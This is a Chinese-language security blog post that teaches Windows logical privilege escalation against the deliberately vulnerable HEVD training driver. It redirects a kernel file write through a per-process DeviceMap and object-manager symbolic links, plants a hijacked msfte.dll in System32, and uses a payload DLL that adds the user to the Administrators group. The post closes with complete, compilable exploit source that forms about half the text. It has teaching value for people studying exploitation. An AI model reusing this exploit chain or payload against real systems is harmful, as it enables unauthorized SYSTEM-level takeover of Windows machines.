标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2770]   作者: 大猪 发表于: [2020-10-25]  [2020-10-25]被用户:大猪 修改过

本文共 [528] 位读者顶过

0x00

通常,传递的有效负载用于提升攻击者应用程序的特权。可以通过(UAF,条件竞争,双重释放,堆栈溢出,越界写)等漏洞来破坏内存实现代码执行以更高的权限窃取应用程序的访问令牌来实现.

最近,我开始学习非常规型的漏洞,因此在这里我要分享的是学习到的一种漏洞利用的方式。

在内核中,打开/创建文件 调用的API为:ZwCreateFile

参数三 OBJECT_ATTRIBUTES决定要创建或者打开的文件名和文件访问权限等[出自:jiwo.org]
要打开的文件名/文件路径必须设置在OBJECT_ATTRIBUTES对象成因的ObjectName中, 此外,OBJECT_ATTRIBUTES结构体的对象Attributes属性一般可以设置为OBJ_CASE_INSENSITIVE(不区分大小写) , OBJ_KERNEL_HANDLE(内核句柄)。

typedef struct _OBJECT_ATTRIBUTES {
ULONG           Length;
HANDLE          RootDirectory;
PUNICODE_STRING ObjectName;//文件名称
ULONG           Attributes;//访问权限
PVOID           SecurityDescriptor;
PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES;


#define OBJ_INHERIT                         0x00000002L
#define OBJ_PERMANENT                       0x00000010L
#define OBJ_EXCLUSIVE                       0x00000020L
#define OBJ_CASE_INSENSITIVE                0x00000040L //ObjectName成员指向的名称与现有对象的名称进行匹配时,忽略大小写
#define OBJ_OPENIF                          0x00000080L
#define OBJ_OPENLINK                        0x00000100L
#define OBJ_KERNEL_HANDLE                   0x00000200L //该模式只能在内核模式访问
#define OBJ_FORCE_ACCESS_CHECK              0x00000400L //即使在内核模式下打开了句柄,打开句柄的例程也应强制执行对该对象的所有访问检查。
#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP   0x00000800L
#define OBJ_DONT_REPARSE                    0x00001000L
#define OBJ_VALID_ATTRIBUTES                0x00001FF2L

windwos操作系统虽然是以C来编写的,但也使用了面向对象的思想. 允许以名称方式来管理对象,这对于跨进程,跨模块的操作带来了极大的遍历. 使用一套全局名称查询机制来支持这种便利性.

全局变量 ObpRootDirectoryObject定义了对象层次目录的根目录. 在根目录之下, 系统内置了一些子目录,这些子目录由NtCreateDirectoryObject所创建, 系统内置的子目录如下:
Callback,ArcName, Device , Driver, FileSystem , KernelObjects , ObjectTypes , GLOBAL?? , Security,这些目录也是每个进程的根目录

当系统内核打开一个诸如c:\windows的DOS路径时,NTDLL会首先将其前面加上??\,使其变为一个NT路径:??\c:\windows ,通常来说??\指向\GLOBAL??\,而\GLOBAL??\下就有C:这个指向\Device\HarddiskVolumeX等磁盘分区设备的符号链接,使得最终系统的对象子系统能够找到对应的文件系统驱动发送相关的文件操作请求。


进程的Device Map是针对系统中的进程设置“虚拟DOS设备路径”的系统机制, 它可以通过NtSetInformationProcess/NtQueryInformationProcess的ProcessDeviceMap功能号来设置和查询。

而Device Map的修改机制,允许我们将??\指向其他的对象目录,在ProcessDeviceMap中,我们只要填写对应的对象目录句柄,就可以将当前进程(或者被设置的对应进程)的??\映射到我们的对象目录中,例如将 ??\不再指向\GLOBAL??\,而是\BaseNamedObjects。这项机制允许程序具备多个虚拟的??\根目录,这被Windows自己的内核机制例如WindowStation管理机制所使用。

符号链接:
符号链接的操作是透明的:对符号链接文件进行读写的程序会表现得直接对目标文件进行操作。普通的文件操作命令(如cp、rm等)都能直接作用于符号链接。用于读写文件内容的命令将会直接访问目标文件。无特权的用户可以在Windows的对象管理器中创建符号链接,并且这些符号链接可以指向任意路径(包括文件系统上的路径),无论该路径当前是否存在。

对象管理器目录与普通文件目录无关。使用一组单独的系统调用(例如NtCreateDirectoryObject而不是NtCreateFile)来创建和操作目录。即使它们不是文件目录,它们也很容易遭受许多与文件系统上相同类型的问题,包括特权创建和符号链接植入攻击。

现在让我们研究如何利用此漏洞从普通用户帐户到特权SYSTEM帐户。

任意文件写

为了寻找此类错误,本次实验将会使用HEVD漏洞驱动作为例子
下载地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
下图为HEVD驱动中IOCTL为0x22203B时调用的函数伪代码



如我们所见,该函数执行后会创建一个文件,创建的文件名为 ??\ C:\Windows\System32\HEVD.log,设置访问权限为OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE

安全问题:
Zw 和Nt前缀同名的一套函数,省去了参数验证的步骤,其它逻辑相同,可以认为以Nt前缀为名称的函数针对用户模式的调用者,以Zw前缀为名称的函数针对内核模式调用者

应该设置OBJ_FORCE_ACCESS_CHECK标志

我将安装并启动该驱动 编写测试代码如下

#include "windows.h"
#include "stdio.h"
int main() {
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hDevice;
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
getchar();
return -1;
}
DeviceIoControl(hDriver, 0x22203B, 0, 0, 0, 0, &dw, NULL);
return 0;
}

编译运行后,目标文件将会被创建在C:\Windows\System32目录下

调整代码 目的是将驱动打开的路径重写


InitAPI();
//创建根目录对象
hPerProcessRootObject = CreateObjectDirectory(NULL, NULL);
//创建目录对象为C:\\Windows\\System32
hTempObject = CreateObjectDirectory(hPerProcessRootObject, L"C:");
hTempObject = CreateObjectDirectory(hTempObject, L"Windows");
hTempObject = CreateObjectDirectory(hTempObject, L"System32");
//创建符号链接
hTempObject = CreateSymlink(hTempObject, L"HEVD.log", L"\\GLOBAL??\\C:\\Windows\\System32\\ntkrnlpa.exe");
//修改进程的DeviceMap
SetProcessDeviceMap(hPerProcessRootObject);
//此时内核调用ZWCreateFile 打开的其实就是刚刚跟创建好的符号链接
DeviceIoControl(hDriver, 0x22203B, 0, 0, 0, 0, &dw, NULL);



1.首先创建了一个空目录对象,用来替换进程默认的??\根目录

2.然后创建了一个对象目录:C:\Windows\System32,该目录在hPerProcessRootObject下面

3.在这个新建的对象目录里面创建了一个符号链接对象HEVD.log,该符号链接指向了c

4.将进程的DeviceMap 也就是根目录对象名修改为最开始的的空目录对象,此时进程的默认根目录对象为我们创建好的空根目录对象

5.当调用DeviceIoControl时,因为我已经将进程默认根目录改掉了,驱动原本要创建的\GLOBAL??\C:\Windows\System32\HEVD.log,会变成空目录对象下的C:\Windows\System32\HEVD.log,而空目录下的对象HEVD.log其实就是我们的符号链接,它指向了ntkrnlpa.exe,所以当执行完ZwWriteFile之后会向c
入内容

将ntkrnlpa.exe拖入IDA,会发现头部份字节已经不是原本的4D5A


我们知道该内核文件是计算机中时非常重要的文件,每个进程都会加载该文件。因为内核文件已经被修改了,但是该文件还在运行中,被修改的内容并未被执行,如果你此时重启虚拟机,该文件会被重新启动,您会得到一个崩溃

这代表着我们拥有了任意文件写入原语,但是无法控制写该文件中的内容,则其用途非常有限。恢复快照,接下来让我们开始利用

从任意文件写入到特权升级

在特权进程的上下文中使用任意文件写入操作来执行代码的两种入门技术是:

DLL劫持:创建一个位置的DLL,其中一个特权进程将加载它(在应用程序的目录,在System32,Windows或一些其他目录上SYSTEM的%PATH%)。它需要一种方法(重新)启动该特权进程以加载有效负载,并且需要从被劫持的DLL之前加载DLL的位置。

覆盖:替换现有的二进制文件/脚本/配置文件/等等,这将使我们执行代码。除了要求重新启动该进程之外,它还需要文件写入操作以允许覆盖现有文件(加上不应锁定目标文件),并且通常非常特定于给定的服务/应用程序。

接下来我将使用第一种DLL劫持方式来达到特权升级
不过有两个使DLL劫持变得烦人的问题:
通常,您需要创建一个特权进程的新实例,因为大多数DLL导入都会在首次执行该进程时得到解决。
以特权用户身份运行的大多数系统可执行文件和DLL将安装到SYSTEM32中。SYSTEM32中的大多数文件实际上由TrustedInstaller组拥有,因此即使本地系统也无法修改。我们需要找到一个可以写入的文件,该文件不属于TrustedInstaller。另外,我们还要选择一个不会导致操作系统安装损坏的文件。

最后我选择了劫持msfte.dll,该dll由系统SearchProtocolHost.exe加载

我们知道,在CreateFile调用时,如果文件存在则会打开,如果不存在则会新建。在之前的代码里修改如下内容并编译,利用该漏洞,我们可以将DLL放到SYSTEM32中

hTempObject = CreateSymlink(hTempObject, L"HEVD.log", L"\\GLOBAL??\\C:\\Windows\\System32\\msfte.dll");

程序运行后 ,驱动会在该目录下新建一个dll,如下图所示

为了使文件内容可控,我将在创建此DLL后接着重写该DLL,因为此文件是在我们的进程内创建的,所以我们有权限修改它,继续修正
//获得nt函数地址
InitAPI();
//创建根目录对象
hPerProcessRootObject = CreateObjectDirectory(NULL, NULL);
//创建目录对象为C:\\Windows\\System32
hTempObject = CreateObjectDirectory(hPerProcessRootObject, L"C:");
hTempObject = CreateObjectDirectory(hTempObject, L"Windows");
hTempObject = CreateObjectDirectory(hTempObject, L"System32");
//创建符号链接
hTempObject = CreateSymlink(hTempObject, L"HEVD.log", L"\\GLOBAL??\\C:\\Windows\\System32\\msfte.dll");
//修改进程的DeviceMap
SetProcessDeviceMap(hPerProcessRootObject);
//此时内核调用ZWCreateFile 打开的其实就是刚刚跟创建好的符号链接
DeviceIoControl(hDriver, 0x22203B, 0, 0, 0, 0, &dw, NULL);
//还原进程的DeviceMap
hGlobalRootObject = OpenObjectDirectory(NULL, L"\\GLOBAL??");
SetProcessDeviceMap(hGlobalRootObject);
//将shellcode写入
WritePayloadDll(L"C:\\Windows\\System32\\msfte.dll");
//启动SearchProtocolHost.exe
LaunchWMIProcess();

如上图所示,我向将msfte.dll文件写入了一段shellcode,该shellcode是payload.dll里的内容,而payload.dll是提前准备好的,该payload.dll会将当前我的用户名,也就是123用户添加到管理员,当然,您完全可以不用新建一个dll来复制内容,而是直接使用二进制流写入

payload.dll:

#include "pch.h"
#include <windows.h>
#include <stdio.h>

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
WinExec("net localgroup /add administrators 123 ", 0);
ExitProcess(0);
return TRUE;
}

准备好了之后,我将再次编译执行,之后打开CMD,如果没有意外,查看当前用户所属组,将会发现当前用户提升至管理员



结论

由于这些是逻辑漏洞,因此它们通常非常稳定(不涉及内存损坏),通常在代码重构后仍然存在(只要文件操作逻辑不变),并且无论采用哪种处理器架构,其使用方式都完全相同。这些特征使它们对攻击者非常有价值。

逻辑漏洞通常不受诸如ASLR或DEP之类的缓解措施的影响,但通常更难找到它们。更为困难的的是,它们无法通过典型的模糊方法轻易发现。

利用任何平台上的漏洞有时都需要对不同组件之间如何交互有相当深入的了解。在这种情况下。始终值得记录您在逆向工程期间遇到的有趣行为,即使某些内容本身不是安全漏洞。

参考:https://www.freebuf.com/vuls/78649.html
参考:https://conference.hitb.org/hitbsecconf2017ams/materials/D2T3%20-%20James%20Forshaw%20-%20Introduction%20to%20Logical%20Privilege%20Escalation%20on%20Windows.pdf
参考:https://offsec.almond.consulting/intro-to-file-operation-abuse-on-Windows.html


EXP:

#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>

#define OBJ_CASE_INSENSITIVE   0x00000040
#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF)
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG           Length;
HANDLE          RootDirectory;
PUNICODE_STRING ObjectName;
ULONG           Attributes;
PVOID           SecurityDescriptor;
PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtCreateDirectoryObject_t)(OUT PHANDLE           DirectoryHandle,
IN ACCESS_MASK        DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes);

typedef NTSTATUS(WINAPI* NtOpenDirectoryObject_t)(OUT PHANDLE           DirectoryHandle,
IN ACCESS_MASK        DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes);
NtCreateDirectoryObject_t  NtCreateDirectoryObject;
typedef VOID(WINAPI* RtlInitUnicodeString_t)(IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR              SourceString OPTIONAL);
#define InitializeObjectAttributes(i, o, a, r, s) {  \
(i)->Length = sizeof(OBJECT_ATTRIBUTES); \
(i)->RootDirectory = r;                  \
(i)->Attributes = a;                     \
(i)->ObjectName = o;                     \
(i)->SecurityDescriptor = s;             \
(i)->SecurityQualityOfService = NULL;    \
}
RtlInitUnicodeString_t        RtlInitUnicodeString;
HANDLE hDriver;
typedef enum _PROCESSINFOCLASS {
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information,
ProcessImageFileName,
ProcessLUIDDeviceMapsEnabled,
ProcessBreakOnTermination,
ProcessDebugObjectHandle,
ProcessDebugFlags,
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessTlsInformation,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessImageFileMapping,
ProcessAffinityUpdateMode,
ProcessMemoryAllocationMode,
ProcessGroupInformation,
ProcessTokenVirtualizationEnabled,
ProcessConsoleHostProcess,
ProcessWindowInformation,
MaxProcessInfoClass
} PROCESSINFOCLASS;
typedef  struct _PROCESS_DEVICEMAP_INFORMATION {
HANDLE DirectoryHandle;
} PROCESS_DEVICEMAP_INFORMATION,*PPROCESS_DEVICEMAP_INFORMATION;
DWORD dw;
typedef NTSTATUS(WINAPI* NtCreateSymbolicLinkObject_t)(OUT PHANDLE           SymbolicLinkHandle,
IN ACCESS_MASK        DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PUNICODE_STRING    TargetName);
NtCreateSymbolicLinkObject_t  NtCreateSymbolicLinkObject;
NtOpenDirectoryObject_t       NtOpenDirectoryObject;
typedef NTSTATUS(WINAPI* NtSetInformationProcess_t)(IN HANDLE           ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
IN PVOID            ProcessInformation,
IN ULONG            ProcessInformationLength);
NtSetInformationProcess_t NtSetInformationProcess;

//设置进程的Device Map
NTSTATUS SetProcessDeviceMap(HANDLE DirectoryHandle) {

PROCESS_DEVICEMAP_INFORMATION DeviceMap = { DirectoryHandle };

int NtStatus=NtSetInformationProcess((HANDLE)0xFFFFFFFF,
ProcessDeviceMap,
&DeviceMap,
sizeof(DeviceMap));

if (NtStatus != 0) {
printf("\t\t[-] Failed to set per-process DeviceMap: 0x%X\n", NtStatus);
exit(EXIT_FAILURE);
}
return 0;
}
HANDLE hFile = NULL;
ULONG BytesReturned;
HANDLE hTempObject = NULL;
HANDLE hGlobalRootObject = NULL;
HANDLE hPerProcessRootObject = NULL;
HANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR DirectoryName) {
HANDLE DirectoryHandle = NULL;
UNICODE_STRING ObjectName = { 0 };
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
PUNICODE_STRING pUnicodeObjectName = NULL;

if (DirectoryName) {
RtlInitUnicodeString(&ObjectName, DirectoryName);
pUnicodeObjectName = &ObjectName;
}

InitializeObjectAttributes(&ObjectAttributes,
pUnicodeObjectName,
OBJ_CASE_INSENSITIVE,
hRoot,
0);

int NtStatus=NtCreateDirectoryObject(&DirectoryHandle, DIRECTORY_ALL_ACCESS, &ObjectAttributes);

if (NtStatus != 0) {
printf("\t\t[-] Failed to open object directory: 0x%X\n", NtStatus);
getchar();
}
return DirectoryHandle;
}
HANDLE CreateSymlink(HANDLE hRoot, LPCWSTR SymbolicLinkName, LPCWSTR TargetName) {
HANDLE SymbolicLinkHandle = NULL;
UNICODE_STRING TargetObjectName = { 0 };
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
UNICODE_STRING SymbolicLinkObjectName = { 0 };

RtlInitUnicodeString(&SymbolicLinkObjectName, SymbolicLinkName);
RtlInitUnicodeString(&TargetObjectName, TargetName);

InitializeObjectAttributes(&ObjectAttributes,
&SymbolicLinkObjectName,
OBJ_CASE_INSENSITIVE,
hRoot,
NULL);

int NtStatus = NtCreateSymbolicLinkObject(&SymbolicLinkHandle,
SYMBOLIC_LINK_ALL_ACCESS,
&ObjectAttributes,
&TargetObjectName);

if (NtStatus != 0) {
printf("\t\t[-] Failed to open object directory: 0x%X\n", NtStatus);
getchar();
}
return SymbolicLinkHandle;
}
HANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR DirectoryName) {
HANDLE DirectoryHandle = NULL;
UNICODE_STRING ObjectName = { 0 };
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };

RtlInitUnicodeString(&ObjectName, DirectoryName);
InitializeObjectAttributes(&ObjectAttributes, &ObjectName, OBJ_CASE_INSENSITIVE, hRoot, NULL);

int NtStatus=NtOpenDirectoryObject(&DirectoryHandle, MAXIMUM_ALLOWED, &ObjectAttributes);
if (NtStatus != 0) {
printf("\t\t[-] Failed to open object directory: 0x%X\n", NtStatus);
getchar();
exit(EXIT_FAILURE);
}
return DirectoryHandle;
}
VOID InitAPI() {
LPCSTR nt = "ntdll";
HMODULE hntdll = GetModuleHandleA(nt);
NtSetInformationProcess = (NtSetInformationProcess_t)GetProcAddress(hntdll, "NtSetInformationProcess");
NtCreateDirectoryObject = (NtCreateDirectoryObject_t)GetProcAddress(hntdll, "NtCreateDirectoryObject");
RtlInitUnicodeString = (RtlInitUnicodeString_t)GetProcAddress(hntdll, "RtlInitUnicodeString");
NtOpenDirectoryObject = (NtOpenDirectoryObject_t)GetProcAddress(hntdll, "NtOpenDirectoryObject");
NtCreateSymbolicLinkObject = (NtCreateSymbolicLinkObject_t)GetProcAddress(hntdll, "NtCreateSymbolicLinkObject");
}
VOID WritePayloadDll(LPCTSTR szPath) {
CHAR Buffer[4096] = { 0 };
HANDLE TargetDllFileHandle = NULL;
HANDLE SourceDllFileHandle = NULL;
DWORD dwBytesRead, dwBytesWritten;
LPCTSTR SourceDllFilePath = L"payload.dll";
TargetDllFileHandle = CreateFile(szPath,
GENERIC_ALL,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (TargetDllFileHandle == INVALID_HANDLE_VALUE) {
printf("\t\t[-] Target file does not exist: %ws Error=%x\n", szPath, GetLastError());
getchar();
exit(EXIT_FAILURE);
}

SourceDllFileHandle = CreateFileW(SourceDllFilePath,
GENERIC_ALL,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (SourceDllFileHandle == INVALID_HANDLE_VALUE) {
printf("\t\t[-] Source payload DLL file does not exist: %ws Error=%x\n", SourceDllFilePath,GetLastError());
getchar();
exit(EXIT_FAILURE);
}

do {
if (!ReadFile(SourceDllFileHandle, Buffer, sizeof(Buffer), &dwBytesRead, NULL)) {
printf("\t\t[-] Unable to read file: %ws\n", SourceDllFilePath);
getchar();
break;
}

if (dwBytesRead == 0) {
break;
}

if (!WriteFile(TargetDllFileHandle, Buffer, dwBytesRead, &dwBytesWritten, NULL)) {
printf("\t\t[-] Unable to write file: %ws\n", szPath);
getchar();
break;
}
} while (TRUE);

CloseHandle(SourceDllFileHandle);
CloseHandle(TargetDllFileHandle);
}

VOID LaunchWMIProcess() {
STARTUPINFOW StartupInformation;
PROCESS_INFORMATION ProcessInformation;

ZeroMemory(&StartupInformation, sizeof(StartupInformation));
StartupInformation.cb = sizeof(StartupInformation);

ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));

if (CreateProcessW(L"C:\\Windows\\System32\\SearchProtocolHost.exe",
(LPWSTR)L"USERPROFILE",
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&StartupInformation,
&ProcessInformation)) {
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
CloseHandle(ProcessInformation.hProcess);
CloseHandle(ProcessInformation.hThread);
}
}
int main() {
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
getchar();
return -1;
}
//获得nt函数地址
InitAPI();
//创建根目录对象
hPerProcessRootObject = CreateObjectDirectory(NULL, NULL);
//创建目录对象为C:\\Windows\\System32
hTempObject = CreateObjectDirectory(hPerProcessRootObject, L"C:");
hTempObject = CreateObjectDirectory(hTempObject, L"Windows");
hTempObject = CreateObjectDirectory(hTempObject, L"System32");
//创建符号链接
hTempObject = CreateSymlink(hTempObject, L"HEVD.log", L"\\GLOBAL??\\C:\\Windows\\System32\\msfte.dll");
//修改进程的DeviceMap
SetProcessDeviceMap(hPerProcessRootObject);
//此时内核调用ZWCreateFile 打开的其实就是刚刚跟创建好的符号链接
DeviceIoControl(hDriver, 0x22203B, 0, 0, 0, 0, &dw, NULL);
//还原进程的DeviceMap
hGlobalRootObject = OpenObjectDirectory(NULL, L"\\GLOBAL??");
SetProcessDeviceMap(hGlobalRootObject);
//将shellcode写入
WritePayloadDll(L"C:\\Windows\\System32\\msfte.dll");
//启动SearchProtocolHost.exe
LaunchWMIProcess();
return 0;
}


评论

暂无
发表评论
 返回顶部 
热度(528)
 关注微信